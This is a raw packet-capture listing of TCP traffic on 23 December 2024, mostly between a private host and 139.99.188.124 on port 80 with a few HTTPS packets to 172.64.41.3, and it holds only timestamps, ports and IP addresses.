                                                                                                                                                                          Dec 23, 2024 08:40:09.718192101 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.718256950 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.718272924 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.719222069 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.719310045 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.719347000 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.720276117 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.720351934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.720406055 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.721334934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.721390963 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.721400023 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.722371101 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.722421885 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.722466946 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.723395109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.723478079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.723496914 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.724487066 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.724530935 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.724562883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.725537062 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.725594044 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.725650072 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.726584911 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.726691008 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.726754904 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.727674007 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.727730036 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.727804899 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.728674889 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.728718996 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.728799105 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.729790926 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.729840994 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.729887962 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.730815887 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.730865955 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.730910063 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.731873035 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.731976986 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.732027054 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.732961893 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.732992887 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.733012915 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.733978033 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.734016895 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.734067917 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.735032082 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.735110998 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.735133886 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.736077070 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.736119032 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.736177921 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.737122059 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.737185001 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.737231970 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.738162994 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.738248110 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.738270998 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.739248037 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.739331961 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.739375114 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.740283012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.740355968 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.740380049 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.741345882 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.741424084 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.741442919 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.742451906 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.742502928 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.742543936 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.743427038 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.743469000 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.743566990 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.744551897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.744632006 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.744636059 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.745553970 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.745592117 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.745642900 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.746608973 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.746687889 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.746740103 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.747657061 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.747714043 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.747756958 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.748727083 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.748811007 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.748827934 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.749777079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.749829054 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.777714014 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.777726889 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.777726889 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.777733088 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.777746916 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.777755976 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.777765989 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.870104074 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.870192051 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.870281935 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.870584011 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.870795012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.870839119 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.870928049 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.871850967 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.871927977 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.871984005 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.872848988 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.872889996 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.879396915 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.879407883 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.879407883 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.890486002 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.890558958 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.890661001 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.890958071 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.891086102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.891336918 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.892122984 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.892369986 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.892425060 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.893148899 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.893212080 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.893259048 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.894186020 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.894382954 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.894423008 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.895306110 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.895381927 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.895430088 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.896248102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.896342039 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.896591902 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.897289991 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.897480965 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.897525072 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.898364067 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.898473024 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.898520947 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.899406910 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.899523973 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.899692059 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.900449991 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.900580883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.900624037 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.901511908 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.901670933 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.901715040 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.902556896 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.902664900 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.902713060 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.903619051 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.903791904 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.903846025 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.904670954 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.904855013 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.904949903 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.905695915 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.905858040 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.905905008 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.906776905 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.906902075 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.907016993 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.907835960 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.907934904 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.907978058 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.908866882 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.908976078 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.909048080 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.909929991 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.910080910 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.910124063 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.910979986 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.911089897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.911164999 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.912022114 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.912134886 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.912175894 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.913115025 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.913256884 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.913373947 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.914145947 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.914266109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.914356947 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.915191889 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.915254116 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.915433884 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.916261911 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.916368961 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.916974068 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.917309046 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.917366028 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.917407990 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.918359041 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.918421984 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.918464899 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.919410944 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.919500113 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.919547081 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.920442104 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.920494080 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.920948982 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.921514034 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.921638012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.921866894 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.922564030 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.922683001 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.922723055 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.923610926 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.923738003 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.923779964 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.924694061 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.924804926 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.924849033 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.925721884 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.925832987 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.925874949 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.926764011 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.926879883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.926928997 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.927817106 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.928056002 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.928150892 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.928872108 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.929023027 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.929064989 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.929928064 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.929975986 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.930036068 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.930985928 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.931091070 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.931274891 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.932025909 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.932166100 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.932904959 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.933079004 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.933197021 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.933245897 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.934132099 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.934257984 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.934302092 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.935199976 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.935435057 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.935478926 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.936305046 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.936367035 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.936455011 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.937289953 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.937437057 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.937482119 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.938363075 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.938468933 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.938513041 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.939392090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.939521074 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.939565897 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.940485954 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.940545082 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.940619946 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.941493034 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.941585064 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.941642046 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.062114000 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.062304020 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.062374115 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.062663078 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.062767982 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.062810898 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.063719034 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.063795090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.063869953 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.064681053 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.082545042 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.082609892 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.082675934 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.083043098 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.083093882 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.083153963 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.084105968 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.084147930 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.084302902 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.085144043 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.085200071 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.085230112 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.086205006 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.086246014 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.086278915 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.087330103 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.087374926 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:10.087434053 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.088305950 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:10.088356018 CET8049780139.99.188.124192.168.2.9
